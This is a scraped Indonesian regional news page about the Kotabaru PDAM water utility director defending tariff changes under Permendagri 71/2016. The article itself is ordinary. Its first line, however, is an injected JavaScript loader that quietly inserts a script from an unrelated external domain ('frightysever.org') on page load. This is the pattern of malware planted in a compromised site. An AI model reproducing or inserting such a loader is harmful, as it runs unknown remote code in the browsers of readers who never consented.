(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KOTABARU,  Protes sejumlah kalangan tas perubahan tarif pelanggan Perusahaan Daerah Air Minum (PDAM), mendapat tanggapan dari Direktur PDAM Kotabaru, Noor Ipansyah SH MH. Menurutnya, langkah yang dilakuakn sudah sesuai aturan yang berlaku.
Dijelaskan Noor Ipansyah, ada beberapa tuntutan yang ditujukan kepada pihaknya dan 2 di antaranya adalah adanya perubahan tarif golongan dan permintaan penghapusan denda. Namun menurutnya, di dalam Permendagri RI nomor 71 tahun 2016 tentang perhitungan dan penetapan tarif air minum sudah jelas disebutkan dalam pasal per pasal.
“Iya kalau terkait dengan pelayanan kepada pelanggan karena air masih belum bersih tapi itu masih dalam tahap pembenahan yang saat ini masih dilakukan. Akan tetapi, kalau sudah yang dibahas mengenai penetapan tarif air apalagi yang menyangkut regulasi tentunya ada aturannya seperti Permendagri 71 tersebut,†terangnya.
Disambungnya, menurutnya kalau berkenaan dengan perubahan golongan tarif pastinya dilihat berdasarkan indikator misalkan dilihat dari ukuran luas bangunan, luas tanah, lebar jalan, lingkungannya tertata baik dan tidak kumuh dan tidak mengukur pendapatan. Tidak mengacu pada berapa besar pendapatan orang tersebut.
“Ketika mereka bicara tentang keadilan tidak bisa hanya mengacu pada Pasal 33 ayat 3 UUD 1945. Akan tetapi, harus melihat dari aturan pendukung lainnya seperti masalah yang sekarang dan telah ada Permendagri 71 tahun 2016 yang mengaturnya,†tambahnya.
Satu hal, katanya melanjutkan, berdasarkan peraturan tersebut yang apabila daerah tidak bisa melaksanakan seperti yang telah di isyaratkan, maka didalam Permendagri nomor 70 di sebutkan bahwa daerah harus memberikan subsidi guna penyediaan air bersih kepada masyarakat.
“Intinya adalah yang namanya adil itu subsidi silang bagi orang kaya membantu orang miskin yang tentunya tidak akan sama pemakaian tarifnya, dan indikator perubahan tarif dilihat,†tambahnya.
Hal senada juga diutarakan oleh Dewan Pengawas PDAM dari kalangan pelanggan, Yudi Sunardi menyatakan, ia menilai apapun yang namanya terkait dengan pelayanan publik mesti dibicarakan dengan baik dan berdasarkan fakta dukung yang ada jangan sampai dapat menimbulkan masalah dikemudian hari.
“Menurut saya, protes kawan-kawan LSM itu baik saja kalau asal sesuai dengan fakta sebenarnya dan mesti harus benar-benar mencermati aturan yang sudah dibuat jangan sampai justru akan berbalik,†katanya.(fauzi)
KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More
KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
This website uses cookies.